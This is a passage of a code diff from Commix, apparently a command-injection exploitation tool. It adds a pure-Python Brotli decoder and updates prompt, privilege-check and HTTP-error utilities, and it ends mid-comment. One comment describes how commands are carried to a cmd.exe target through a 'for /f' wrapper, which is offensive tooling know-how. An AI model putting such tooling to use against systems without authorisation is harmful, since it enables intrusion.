parser.parse_args() + if options.server and options.client: + err_msg = "The options '-s' and '-c' cannot be used together: a run is one or the other." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + try: + if options.client: + client(options.host, options.port, options.token) + else: + server(options.host, options.port, options.token, options.tasks_dir) + except KeyboardInterrupt: + raise SystemExit() + except Exception as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg))) + raise SystemExit(settings.EXIT_FAILURE) + +# eof diff --git a/src/utils/brotli.py b/src/utils/brotli.py new file mode 100644 index 0000000000..cb040b589c --- /dev/null +++ b/src/utils/brotli.py @@ -0,0 +1,732 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import hashlib +import zipfile +import threading + +""" +A page that arrives compressed with Brotli (RFC 7932), read back like any other. + +Decoding only - nothing here compresses. A target behind a CDN answers in Brotli as readily as in +gzip, and a page that cannot be read is a page nothing can be found in - so asking for it and then +depending on a library that may not be installed is not worth the findings it costs. + +The static dictionary and the context table the format is defined against are data rather than +code: RFC 7932, Appendix A, read from 'data/txt/brotli-dictionary.tx_'. +""" + +class BrotliError(Exception): + pass + +# What the packed table holds: the dictionary the format defines, and the context table after it. +DICTIONARY_LENGTH = 122784 +CONTEXT_LENGTH = 2048 +# Checked on load, so a swapped or truncated table is said out loud rather than quietly mis-decoded. +DICTIONARY_DIGEST = "20e42eb1b511c21806d4d227d07e5dd06877d8ce7b3a817f378f313653f35c70" + +_TABLES = None +_TABLES_LOCK = threading.Lock() + +""" +The dictionary's words are bucketed by length: 'size bits' says how many bits index a bucket, and +where each bucket starts follows from that. +""" +WORD_SIZE_BITS = (0, 0, 0, 0, 10, 10, 11, 11, 10, 10, 10, 10, 10, 9, 9, 8, 7, 7, 8, 7, 7, 6, 6, 5, 5) +WORD_OFFSETS = [0] * (len(WORD_SIZE_BITS) + 1) +for _length in range(len(WORD_SIZE_BITS)): + WORD_OFFSETS[_length + 1] = WORD_OFFSETS[_length] + ((_length << WORD_SIZE_BITS[_length]) if WORD_SIZE_BITS[_length] else 0) + +# What is done to a dictionary word before it is used, beyond the prefix and suffix put around it. +TRANSFORM_IDENTITY = 0 +TRANSFORM_UPPERCASE_FIRST = 10 +TRANSFORM_UPPERCASE_ALL = 11 +TRANSFORM_OMIT_FIRST = 12 + +""" +The 121 transforms the format defines, in the order it defines them: what goes before the word, +what is done to the word, and what goes after it. +""" +TRANSFORMS = ( + (b'', 0, b''), (b'', 0, b' '), + (b' ', 0, b' '), (b'', 12, b''), + (b'', 10, b' '), (b'', 0, b' the '), + (b' ', 0, b''), (b's ', 0, b' '), + (b'', 0, b' of '), (b'', 10, b''), + (b'', 0, b' and '), (b'', 13, b''), + (b'', 1, b''), (b', ', 0, b' '), + (b'', 0, b', '), (b' ', 10, b' '), + (b'', 0, b' in '), (b'', 0, b' to '), + (b'e ', 0, b' '), (b'', 0, b'"'), + (b'', 0, b'.'), (b'', 0, b'">'), + (b'', 0, b'\n'), (b'', 3, b''), + (b'', 0, b']'), (b'', 0, b' for '), + (b'', 14, b''), (b'', 2, b''), + (b'', 0, b' a '), (b'', 0, b' that '), + (b' ', 10, b''), (b'', 0, b'. '), + (b'.', 0, b''), (b' ', 0, b', '), + (b'', 15, b''), (b'', 0, b' with '), + (b'', 0, b"'"), (b'', 0, b' from '), + (b'', 0, b' by '), (b'', 16, b''), + (b'', 17, b''), (b' the ', 0, b''), + (b'', 4, b''), (b'', 0, b'. The '), + (b'', 11, b''), (b'', 0, b' on '), + (b'', 0, b' as '), (b'', 0, b' is '), + (b'', 7, b''), (b'', 1, b'ing '), + (b'', 0, b'\n\t'), (b'', 0, b':'), + (b' ', 0, b'. '), (b'', 0, b'ed '), + (b'', 20, b''), (b'', 18, b''), + (b'', 6, b''), (b'', 0, b'('), + (b'', 10, b', '), (b'', 8, b''), + (b'', 0, b' at '), (b'', 0, b'ly '), + (b' the ', 0, b' of '), (b'', 5, b''), + (b'', 9, b''), (b' ', 10, b', '), + (b'', 10, b'"'), (b'.', 0, b'('), + (b'', 11, b' '), (b'', 10, b'">'), + (b'', 0, b'="'), (b' ', 0, b'.'), + (b'.com/', 0, b''), (b' the ', 0, b' of the '), + (b'', 10, b"'"), (b'', 0, b'. This '), + (b'', 0, b','), (b'.', 0, b' '), + (b'', 10, b'('), (b'', 10, b'.'), + (b'', 0, b' not '), (b' ', 0, b'="'), + (b'', 0, b'er '), (b' ', 11, b' '), + (b'', 0, b'al '), (b' ', 11, b''), + (b'', 0, b"='"), (b'', 11, b'"'), + (b'', 10, b'. '), (b' ', 0, b'('), + (b'', 0, b'ful '), (b' ', 10, b'. '), + (b'', 0, b'ive '), (b'', 0, b'less '), + (b'', 11, b"'"), (b'', 0, b'est '), + (b' ', 10, b'.'), (b'', 11, b'">'), + (b' ', 0, b"='"), (b'', 10, b','), + (b'', 0, b'ize '), (b'', 11, b'.'), + (b'\xc2\xa0', 0, b''), (b' ', 0, b','), + (b'', 10, b'="'), (b'', 11, b'="'), + (b'', 0, b'ous '), (b'', 11, b', '), + (b'', 10, b"='"), (b' ', 10, b','), + (b' ', 11, b'="'), (b' ', 11, b', '), + (b'', 11, b','), (b'', 11, b'('), + (b'', 11, b'. '), (b' ', 11, b'.'), + (b'', 11, b"='"), (b' ', 11, b'. '), + (b' ', 10, b'="'), (b' ', 11, b"='"), + (b' ', 10, b"='"), +) + +""" +How long a run is: what each code stands for on its own, and how many bits are read after it to say +how far past that the run goes. +""" +INSERT_LENGTHS = ((0, 0), (0, 1), (0, 2), (0, 3), (0, 4), (0, 5), (1, 6), (1, 8), + (2, 10), (2, 14), (3, 18), (3, 26), (4, 34), (4, 50), (5, 66), (5, 98), + (6, 130), (7, 194), (8, 322), (9, 578), (10, 1090), (12, 2114), (14, 6210), (24, 22594)) +COPY_LENGTHS = ((0, 2), (0, 3), (0, 4), (0, 5), (0, 6), (0, 7), (0, 8), (0, 9), + (1, 10), (1, 12), (2, 14), (2, 18), (3, 22), (3, 30), (4, 38), (4, 54), + (5, 70), (5, 102), (6, 134), (7, 198), (8, 326), (9, 582), (10, 1094), (24, 2118)) +BLOCK_LENGTHS = ((2, 1), (2, 5), (2, 9), (2, 13), (3, 17), (3, 25), (3, 33), (3, 41), + (4, 49), (4, 65), (4, 81), (4, 97), (5, 113), (5, 145), (5, 177), (5, 209), + (6, 241), (6, 305), (7, 369), (8, 497), (9, 753), (10, 1265), (11, 2289), (12, 4337), + (13, 8433), (24, 16625)) + +# Which insert and which copy an insert-and-copy code stands for. +INSERT_RANGES = (0, 0, 8, 8, 0, 16, 8, 16, 16) +COPY_RANGES = (0, 8, 0, 8, 16, 0, 16, 8, 16) + +# The order the code-length code's own lengths arrive in, and the fixed code they are read with. +CODE_LENGTH_ORDER = (1, 2, 3, 4, 0, 5, 17, 6, 16, 7, 8, 9, 10, 11, 12, 13, 14, 15) +CODE_LENGTH_BITS = (2, 2, 2, 3, 2, 2, 2, 4, 2, 2, 2, 3, 2, 2, 2, 4) +CODE_LENGTH_VALUES = (0, 4, 3, 2, 0, 4, 3, 1, 0, 4, 3, 2, 0, 4, 3, 5) +# The two lengths that repeat what came before them rather than standing for a symbol of their own. +REPEAT_PREVIOUS = 16 +REPEAT_ZERO = 17 +# What a length is taken to be before any has been read, for a repeat that arrives first. +INITIAL_REPEATED_LENGTH = 8 + +""" +The four distances a stream starts with, before any of its own have been used - oldest first, so +the one a stream finds in hand as its last distance is the 4 at the end rather than the 16. +""" +INITIAL_DISTANCES = (16, 15, 11, 4) +# How much a page is allowed to decompress into, where the caller does not say. +DEFAULT_MAX_OUTPUT = 100 * 1024 * 1024 + +""" +The dictionary and the context table, read once and handed to every caller after that. +""" +def load_tables(): + global _TABLES + if _TABLES is not None: + return _TABLES + with _TABLES_LOCK: + if _TABLES is not None: + return _TABLES + try: + path = os.path.join(os.path.dirname(__file__), os.pardir, os.pardir, "data", "txt", "brotli-dictionary.tx_") + archive = zipfile.ZipFile(path) + try: + names = archive.namelist() + if len(names) != 1: + raise BrotliError("unexpected layout in the Brotli table archive") + raw = archive.read(names[0]) + finally: + archive.close() + except BrotliError: + raise + except Exception as err: + raise BrotliError("the Brotli tables could not be read (" + str(err) + ")") + if len(raw) != DICTIONARY_LENGTH + CONTEXT_LENGTH: + raise BrotliError("the Brotli tables are not the length they should be") + if hashlib.sha256(raw[:DICTIONARY_LENGTH]).hexdigest() != DICTIONARY_DIGEST: + raise BrotliError("the Brotli dictionary is not the one this decoder was written against") + # Published together, so a reader on another thread never sees one without the other. + _TABLES = (bytearray(raw[:DICTIONARY_LENGTH]), bytearray(raw[DICTIONARY_LENGTH:])) + return _TABLES + +""" +The stream read a bit at a time, the lowest bit of each byte first, which is the order it was +written in. +""" +class _Reader(object): + __slots__ = ("data", "length", "position", "accumulator", "available") + + def __init__(self, data): + self.data = bytearray(data) + self.length = len(self.data) + self.position = 0 + self.accumulator = 0 + self.available = 0 + + # One bit, with the next byte pulled in once the last one is spent. + def bit(self): + if self.available == 0: + if self.position >= self.length: + raise BrotliError("the Brotli stream ends in the middle of a code") + self.accumulator = self.data[self.position] + self.position += 1 + self.available = 8 + value = self.accumulator & 1 + self.accumulator >>= 1 + self.available -= 1 + return value + + # As many bits as asked for, the first one read being the lowest of the value. + def bits(self, count): + value = 0 + for shift in range(count): + value |= self.bit() << shift + return value + + """ + The next bits without spending them, for a code that is looked up before its length is known. + + What lies past the end of the stream reads as zero rather than as an error: the code being looked + up may not need those bits, and the ones it does need are spent in the usual way. + """ + def peek(self, count): + saved = (self.position, self.accumulator, self.available) + value = 0 + try: + for shift in range(count): + if self.available == 0 and self.position >= self.length: + break + value |= self.bit() << shift + finally: + self.position, self.accumulator, self.available = saved + return value + + # Spend bits a lookup has already accounted for. + def skip(self, count): + for _ in range(count): + self.bit() + + # Drop what is left of the byte in hand, for the parts written out whole bytes at a time. + def align(self): + self.accumulator = 0 + self.available = 0 + + # Whole bytes, taken once the reader is back on a byte boundary. + def take(self, count): + if self.position + count > self.length: + raise BrotliError("the Brotli stream ends in the middle of a block") + chunk = self.data[self.position:self.position + count] + self.position += count + return chunk + +""" +A prefix code, held as the number of codes at each length and the symbols in the order their codes +run - which is what reading one bit at a time asks for. No lookup table is built: a page is small +enough that the difference is not worth the memory. +""" +class _Code(object): + __slots__ = ("counts", "symbols", "single") + + def __init__(self, lengths): + counts = [0] * 16 + symbols = [] + for length in lengths: + if length: + counts[length] += 1 + for length in range(1, 16): + if counts[length]: + for symbol in range(len(lengths)): + if lengths[symbol] == length: + symbols.append(symbol) + if not symbols: + raise BrotliError("a Brotli prefix code stands for no symbol at all") + self.counts = counts + self.symbols = symbols + # A code of one symbol is read without spending a bit: there is nothing to tell apart. + self.single = symbols[0] if len(symbols) == 1 else None + + def read(self, reader): + if self.single is not None: + return self.single + code = 0 + first = 0 + index = 0 + for length in range(1, 16): + code |= reader.bit() + count = self.counts[length] + if code - first < count: + return self.symbols[index + (code - first)] + index += count + first = (first + count) << 1 + code <<= 1 + raise BrotliError("a Brotli prefix code runs past the length a code can have") + +""" +A code given as the few symbols it stands for, rather than as a length for every symbol. +""" +def _read_simple_code(reader, alphabet_size): + width = max(1, (alphabet_size - 1).bit_length()) + count = reader.bits(2) + 1 + symbols = [] + for _ in range(count): + symbol = reader.bits(width) + if symbol >= alphabet_size or symbol in symbols: + raise BrotliError("a Brotli prefix code names a symbol twice or one that does not exist") + symbols.append(symbol) + lengths = [0] * alphabet_size + if count == 1: + lengths[symbols[0]] = 1 + elif count == 2: + lengths[symbols[0]] = lengths[symbols[1]] = 1 + elif count == 3: + lengths[symbols[0]] = 1 + lengths[symbols[1]] = lengths[symbols[2]] = 2 + # Four symbols come either as an even code or as one that favours the first of them. + elif reader.bit(): + lengths[symbols[0]] = 1 + lengths[symbols[1]] = 2 + lengths[symbols[2]] = lengths[symbols[3]] = 3 + else: + for symbol in symbols: + lengths[symbol] = 2 + return _Code(lengths) + +""" +A code given as a length for every symbol, those lengths being written out with a code of their own. +""" +def _read_complex_code(reader, alphabet_size, skip): + meta_lengths = [0] * 18 + space = 32 + used = 0 + for index in range(skip, 18): + lookup = reader.peek(4) + reader.skip(CODE_LENGTH_BITS[lookup]) + length = CODE_LENGTH_VALUES[lookup] + meta_lengths[CODE_LENGTH_ORDER[index]] = length + if length: + space -= 32 >> length + used += 1 + if space <= 0: + break + if used != 1 and space != 0: + raise BrotliError("the lengths of a Brotli code do not add up to a code") + meta_code = _Code(meta_lengths) + + lengths = [0] * alphabet_size + symbol = 0 + space = 32768 + used = 0 + previous = INITIAL_REPEATED_LENGTH + repeat = 0 + repeat_length = 0 + while symbol < alphabet_size and space > 0: + length = meta_code.read(reader) + if length < REPEAT_PREVIOUS: + lengths[symbol] = length + symbol += 1 + if length: + previous = length + space -= 32768 >> length + used += 1 + repeat = 0 + continue + """ + The two lengths that stand for a run rather than for a symbol: one repeats the last length + used, the other repeats nothing at all. A run carried straight on from the one before it counts + from where that one left off, rather than starting again. + """ + extra_bits = length - 14 + written = previous if length == REPEAT_PREVIOUS else 0 + if repeat_length != written: + repeat = 0 + repeat_length = written + before = repeat + if repeat > 0: + repeat = (repeat - 2) << extra_bits + repeat += reader.bits(extra_bits) + 3 + run = repeat - before + if symbol + run > alphabet_size: + raise BrotliError("a Brotli code repeats past the symbols it has") + for _ in range(run): + lengths[symbol] = written + symbol += 1 + if written: + space -= (32768 >> written) * run + used += run + if used != 1 and space != 0: + raise BrotliError("the lengths of a Brotli code do not add up to a code") + return _Code(lengths) + +# A prefix code, however it was written out. +def _read_code(reader, alphabet_size): + marker = reader.bits(2) + if marker == 1: + return _read_simple_code(reader, alphabet_size) + return _read_complex_code(reader, alphabet_size, marker) + +""" +How many kinds of block a meta-block switches between, written out as the count it is short of. +""" +def _read_type_count(reader): + if not reader.bit(): + return 1 + width = reader.bits(3) + if width == 0: + return 2 + return reader.bits(width) + (1 << width) + 1 + +""" +Which tree each context is read with, undone from the runs and the ordering it was sent in. +""" +def _read_context_map(reader, tree_count, size): + run_length_max = 0 + if reader.bit(): + run_length_max = reader.bits(4) + 1 + code = _read_code(reader, tree_count + run_length_max) + values = [] + while len(values) < size: + symbol = code.read(reader) + if symbol == 0: + values.append(0) + elif symbol <= run_length_max: + run = (1 << symbol) + reader.bits(symbol) + if len(values) + run > size: + raise BrotliError("a Brotli context map runs past its own length") + values.extend([0] * run) + else: + values.append(symbol - run_length_max) + # Sent as how far each value had moved since it was last used, rather than as the value itself. + if reader.bit(): + order = list(range(256)) + for index in range(size): + position = values[index] + value = order[position] + values[index] = value + del order[position] + order.insert(0, value) + for value in values: + if value >= tree_count: + raise BrotliError("a Brotli context map names a tree that was never sent") + return values + +# The first character of a word written as a capital, or every character of it. +def _upper_case(word, once): + result = bytearray(word) + index = 0 + while index < len(result): + first = result[index] + if first < 0xC0: + if 0x61 <= first <= 0x7A: + result[index] ^= 32 + index += 1 + elif first < 0xE0: + if index + 1 < len(result): + result[index + 1] ^= 32 + index += 2 + else: + if index + 2 < len(result): + result[index + 2] ^= 5 + index += 3 + if once: + break + return result + +""" +A dictionary word as the transform asked for leaves it. +""" +def _transform(word, transform_id): + if transform_id >= len(TRANSFORMS): + raise BrotliError("a Brotli stream asks for a word transform that does not exist") + prefix, kind, suffix = TRANSFORMS[transform_id] + if kind == TRANSFORM_IDENTITY: + body = bytes(word) + elif kind < TRANSFORM_UPPERCASE_FIRST: + body = bytes(word[:max(0, len(word) - kind)]) + elif kind == TRANSFORM_UPPERCASE_FIRST: + body = bytes(_upper_case(word, True)) + elif kind == TRANSFORM_UPPERCASE_ALL: + body = bytes(_upper_case(word, False)) + else: + body = bytes(word[min(len(word), kind - TRANSFORM_OMIT_FIRST + 1):]) + return prefix + body + suffix + +""" +How far back a copy may reach: where the window ends, or where the output begins. +""" +def _read_window_bits(reader): + if not reader.bit(): + return 16 + value = reader.bits(3) + if value: + return 17 + value + value = reader.bits(3) + if value == 1: + raise BrotliError("the Brotli stream asks for a window this decoder does not read") + if value: + return 8 + value + return 17 + +""" +The distance a code stands for, which is either one of the last four used or one spelled out. +""" +def _read_distance(reader, code, distances, index, postfix, direct): + if code == 0: + return distances[index & 3] + if code < 4: + return distances[(index - code) & 3] + if code < 16: + if code < 10: + base = distances[index & 3] + step = ((code - 4) >> 1) + 1 + else: + base = distances[(index - 1) & 3] + step = ((code - 10) >> 1) + 1 + distance = base + (step if code & 1 else -step) + if distance <= 0: + raise BrotliError("a Brotli distance reaches back past the start of the output") + return distance + value = code - 16 + if value < direct: + return value + 1 + value -= direct + extra_bits = 1 + (value >> (postfix + 1)) + high = value >> postfix + low = value & ((1 << postfix) - 1) + offset = ((2 + (high & 1)) << extra_bits) - 4 + return ((offset + reader.bits(extra_bits)) << postfix) + low + direct + 1 + +""" +Read a Brotli stream and hand back what it stands for. + +Stopped at 'max_output' whatever the stream says: a few hundred bytes can name gigabytes, and +reading that whole is how a target empties the memory of the machine testing it. +""" +def decompress(data, max_output=DEFAULT_MAX_OUTPUT): + dictionary, context_table = load_tables() + reader = _Reader(data) + max_backward = (1 << _read_window_bits(reader)) - 16 + + output = bytearray() + distances = list(INITIAL_DISTANCES) + distance_index = len(distances) - 1 + + while True: + last = reader.bit() + if last and reader.bit(): + break + + nibbles = reader.bits(2) + if nibbles == 3: + # Something the stream carries for its own reasons and nothing is read from: skipped whole. + if reader.bit(): + raise BrotliError("a Brotli meta-block sets a bit that has to be zero") + count = reader.bits(2) + skip = 0 + for index in range(count): + piece = reader.bits(8) + if index + 1 == count and count > 1 and piece == 0: + raise BrotliError("a Brotli meta-block gives its length with a spare byte") + skip |= piece << (index * 8) + if count: + skip += 1 + reader.align() + reader.take(skip) + if last: + break + continue + + remaining = 0 + for index in range(nibbles + 4): + piece = reader.bits(4) + if index + 1 == nibbles + 4 and nibbles > 0 and piece == 0: + raise BrotliError("a Brotli meta-block gives its length with a spare nibble") + remaining |= piece << (index * 4) + remaining += 1 + + if not last and reader.bit(): + # Written out as it stands, so it is taken as it stands. + reader.align() + chunk = reader.take(remaining) + if len(output) + len(chunk) > max_output: + raise BrotliError("the Brotli stream decompresses to more than is allowed") + output.extend(chunk) + continue + + """ + How many kinds of literal, command and distance block this meta-block switches between, and the + codes that say which kind comes next and how long it runs for. Where there is only one kind, + nothing switches and the count is left past anything the meta-block can reach. + """ + kinds = [] + types = [0, 0, 0] + previous_types = [1, 1, 1] + counts = [0, 0, 0] + type_codes = [None, None, None] + count_codes = [None, None, None] + for category in range(3): + count = _read_type_count(reader) + kinds.append(count) + if count > 1: + type_codes[category] = _read_code(reader, count + 2) + count_codes[category] = _read_code(reader, len(BLOCK_LENGTHS)) + extra, offset = BLOCK_LENGTHS[count_codes[category].read(reader)] + counts[category] = offset + reader.bits(extra) + else: + counts[category] = 1 << 30 + + postfix = reader.bits(2) + direct = reader.bits(4) << postfix + context_modes = [reader.bits(2) for _ in range(kinds[0])] + + literal_trees = _read_type_count(reader) + if literal_trees > 1: + literal_map = _read_context_map(reader, literal_trees, kinds[0] * 64) + else: + literal_map = [0] * (kinds[0] * 64) + distance_trees = _read_type_count(reader) + if distance_trees > 1: + distance_map = _read_context_map(reader, distance_trees, kinds[2] * 4) + else: + distance_map = [0] * (kinds[2] * 4) + + literal_codes = [_read_code(reader, 256) for _ in range(literal_trees)] + command_codes = [_read_code(reader, 704) for _ in range(kinds[1])] + distance_codes = [_read_code(reader, 16 + direct + (48 << postfix)) for _ in range(distance_trees)] + + # The next kind of block of one category, and how long it runs for. + def switch(category): + symbol = type_codes[category].read(reader) + if symbol == 0: + following = previous_types[category] + elif symbol == 1: + following = (types[category] + 1) % kinds[category] + else: + following = symbol - 2 + if following >= kinds[category]: + raise BrotliError("a Brotli block switch names a kind of block that was not sent") + previous_types[category] = types[category] + types[category] = following + extra, offset = BLOCK_LENGTHS[count_codes[category].read(reader)] + counts[category] = offset + reader.bits(extra) + + while remaining > 0: + if counts[1] == 0: + switch(1) + counts[1] -= 1 + command = command_codes[types[1]].read(reader) + section = command >> 6 + carries_distance = section >= 2 + if carries_distance: + section -= 2 + extra, offset = INSERT_LENGTHS[INSERT_RANGES[section] + ((command >> 3) & 7)] + insert_length = offset + reader.bits(extra) + extra, offset = COPY_LENGTHS[COPY_RANGES[section] + (command & 7)] + copy_length = offset + reader.bits(extra) + + if insert_length > remaining: + raise BrotliError("a Brotli command writes past the end of its meta-block") + if len(output) + insert_length > max_output: + raise BrotliError("the Brotli stream decompresses to more than is allowed") + for _ in range(insert_length): + if counts[0] == 0: + switch(0) + counts[0] -= 1 + # Which tree a character is read with follows from the two characters before it. + base = context_modes[types[0]] << 9 + first = output[-1] if output else 0 + second = output[-2] if len(output) > 1 else 0 + context = context_table[base + first] | context_table[base + 256 + second] + output.append(literal_codes[literal_map[(types[0] << 6) + context]].read(reader)) + remaining -= insert_length + # The last command of a meta-block may end on its characters, with nothing copied after them. + if remaining <= 0: + break + + if carries_distance: + if counts[2] == 0: + switch(2) + counts[2] -= 1 + context = copy_length - 2 if copy_length < 5 else 3 + code = distance_codes[distance_map[(types[2] << 2) + context]].read(reader) + else: + code = 0 + distance = _read_distance(reader, code, distances, distance_index, postfix, direct) + + reach = max_backward if max_backward < len(output) else len(output) + if distance > reach: + # Past everything written so far, which is how the dictionary is asked for. + word_id = distance - reach - 1 + if copy_length < 4 or copy_length > 24: + raise BrotliError("a Brotli dictionary word is asked for at a length it cannot have") + words = 1 << WORD_SIZE_BITS[copy_length] + offset = WORD_OFFSETS[copy_length] + (word_id % words) * copy_length + piece = _transform(dictionary[offset:offset + copy_length], word_id // words) + if len(piece) > remaining: + raise BrotliError("a Brotli dictionary word writes past the end of its meta-block") + if len(output) + len(piece) > max_output: + raise BrotliError("the Brotli stream decompresses to more than is allowed") + output.extend(piece) + remaining -= len(piece) + continue + + if copy_length > remaining: + raise BrotliError("a Brotli copy writes past the end of its meta-block") + if len(output) + copy_length > max_output: + raise BrotliError("the Brotli stream decompresses to more than is allowed") + # A distance used again is not put back: only one spelled out afresh moves the four along. + if code != 0: + distance_index += 1 + distances[distance_index & 3] = distance + start = len(output) - distance + for step in range(copy_length): + output.append(output[start + step]) + remaining -= copy_length + + if last: + break + + return bytes(output) diff --git a/src/utils/colors.py b/src/utils/colors.py index 14932f4534..81b183718e 100644 --- a/src/utils/colors.py +++ b/src/utils/colors.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -15,4 +15,4 @@ ENABLE_COLORING = True -# eof \ No newline at end of file +# eof diff --git a/src/utils/common.py b/src/utils/common.py index 9c7dfaa30a..6d0a74cf7f 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -3,129 +3,372 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re import os import sys +import platform import json import time -import base64 import hashlib import traceback -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings +from src.thirdparty import six from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import http_client as _http_client + +""" +Invalid cmd output +""" +def invalid_cmd_output(cmd): + err_msg = "Execution of the '" + cmd + "' command did not return any output." + """ + And why, where the command itself is the reason. + + A cmd.exe target is read through a 'for /f' loop, whose own clause is where the command is + written - and a double quote of the command's closes that clause rather than reaching the shell, + so nothing runs and nothing comes back. Doubling it, escaping it with a caret and swapping the + clause for the backquoted form were each tried against a cmd.exe and none of them carries it, so + what is left is to say so: an answer that was never going to arrive is worth telling apart from a + command that genuinely printed nothing. + """ + if settings.TARGET_OS == settings.OS.WINDOWS and settings.DOUBLE_QUOTE in cmd: + err_msg += " A '" + settings.DOUBLE_QUOTE + "' in a command cannot be carried to a cmd.exe " + err_msg += "target, which is why this one did not run. Write it without one." + return err_msg + +""" +Invalid option msg +""" +def invalid_option(option): + err_msg = "'" + option + "' is not a valid answer." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + +""" +Prompt Y/N/quit and store the boolean choice into the given settings attribute. +""" +def prompt_yes_no_setting(message, setting_name, default="N"): + while True: + choice = read_input(message, default=default, check_batch=True) + if choice in settings.CHOICE_YES: + setattr(settings, setting_name, True) + return + elif choice in settings.CHOICE_NO: + setattr(settings, setting_name, False) + return + elif choice in settings.CHOICE_QUIT: + raise SystemExit() + else: + invalid_option(choice) + +""" +Reads input from terminal safely +""" +def safe_input(message): + try: + try: + value = _input(message) + except UnicodeDecodeError: + value = _input(message.encode("utf-8", "ignore").decode("utf-8")) + except EOFError: + raise + except Exception as err_msg: + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return "" + finally: + settings.reset_terminal_style() + # A terminal echoes the user's Enter, starting a fresh line; a pipe does not, so the + # prompt line is still open and the next message has to break it itself. + try: + settings.PROGRESS_LINE_OPEN = not sys.stdin.isatty() + except Exception: + settings.PROGRESS_LINE_OPEN = False + return value + +""" +Reads input from terminal +""" +""" +The answer '--answers' gives for a question, or None where it gives none. + +Read on its own as well as from inside a prompt, so that something about to be asked under +'--batch' can tell an answer given by name from the default that would otherwise stand in for one. +""" +def predefined_answer(message): + if settings.ANSWERS and any(_ in settings.ANSWERS for _ in ",="): + for item in settings.ANSWERS.split(','): + # Split once: an answer is free to hold "=" of its own, a URL with a query string most of + # all, and splitting on every one of them handed back the answer cut at the first. + question = item.split('=', 1)[0].strip() + answer = item.split('=', 1)[1] if '=' in item else None + if answer and question.lower() in message.lower(): + return answer + return None + +def read_input(message, default=None, check_batch=True): + # Close the spinner line before prompting unless the message is empty. + if message: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + # Read one answer, falling back to the default where the line was left empty. + def is_empty(): + value = safe_input(settings.input_message(message)) + if len(value) == 0: + settings.echo_default_answer(message, default) + return default + else: + return value + try: + value = None + if settings.END_LINE.LF in message: + message += (settings.END_LINE.LF if message.count(settings.END_LINE.LF) > 1 else "") + elif len(message) == 0: + return is_empty() + elif not message.rstrip().endswith((']', '>')): + # A free-text answer prompt - not a '[Y/n]'-style one, and not already ending in its own + # '>' - marked the same way every one of them now is, so where to actually type is never + # in doubt. + message = message.rstrip() + " > " + # Nothing in there names a question, so a run given that is answered the way a run given none + # is - read as a prompt of its own, it left '--batch' unconsulted and every question waiting on + # somebody to type, which under automation is a run that ends on the first one. + given = predefined_answer(message) + if given is not None: + settings.print_data_to_stdout(settings.print_message(message + str(given))) + return given + if value: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Used the given answer." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_message(message + str(value))) + return value + elif value is None: + if check_batch and menu.options.batch: + settings.print_data_to_stdout(settings.print_message(message + str(default))) + return default + else: + return is_empty() + except KeyboardInterrupt: + settings.clear_current_line() + raise + +""" +Extract regex result +""" +def extract_regex_result(regex, content): + result = None + if regex and content and "?P<result>" in regex: + match = re.search(regex, content) + if match: + result = match.group("result") + return result + +""" +Returns True if the current process is run under admin privileges +""" +def running_as_admin(): + is_admin = False + if settings.PLATFORM in ("posix", "mac"): + euid = os.geteuid() + if isinstance(euid, (float, six.integer_types)) and euid == 0: + is_admin = True + + elif settings.IS_WINDOWS: + import ctypes + elevated = ctypes.windll.shell32.IsUserAnAdmin() + if isinstance(elevated, (float, six.integer_types)) and elevated == 1: + is_admin = True + else: + err_msg = settings.APPLICATION + " is not able to check if you are running it " + err_msg += "as an administrator account on this platform. " + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + is_admin = True + + return is_admin """ Get total number of days from last update """ def days_from_last_update(): - days_from_last_update = int(time.time() - os.path.getmtime(settings.SETTINGS_PATH)) // (3600 * 24) + try: + days_from_last_update = int(time.time() - os.path.getmtime(settings.SETTINGS_PATH)) // (3600 * 24) + except OSError: + return if days_from_last_update > settings.NAGGING_DAYS: - warn_msg = "You haven't updated " + settings.APPLICATION + " for more than " - warn_msg += str(days_from_last_update) + " day" - warn_msg += "s"[days_from_last_update == 1:] + "!" - print(settings.print_warning_msg(warn_msg)) + warn_msg = "Last update " + str(days_from_last_update) + " days ago. Consider checking for updates." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Shows all HTTP error codes raised, each with the number of times it came back. +""" +def show_http_error_codes(): + if not settings.HTTP_ERROR_CODES_SUM or settings.VERBOSITY_LEVEL == 0: + return + counted = {} + for code in settings.HTTP_ERROR_CODES_SUM: + counted[str(code)] = counted.get(str(code), 0) + 1 + described = [] + # Most frequent first, so the one that shaped the run is read first. + for code in sorted(counted, key=lambda item: (-counted[item], item)): + reason = _http_client.responses.get(int(code)) if code.isdigit() else None + times = counted[code] + described.append(code + (" (" + reason + ")" if reason else "") + + " - " + str(times) + " time" + "s"[times == 1:]) + debug_msg = "HTTP error code" + "s"[len(counted) == 1:] + " detected during run: " + debug_msg += ", ".join(described) + "." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) """ -Automatically create a Github issue with 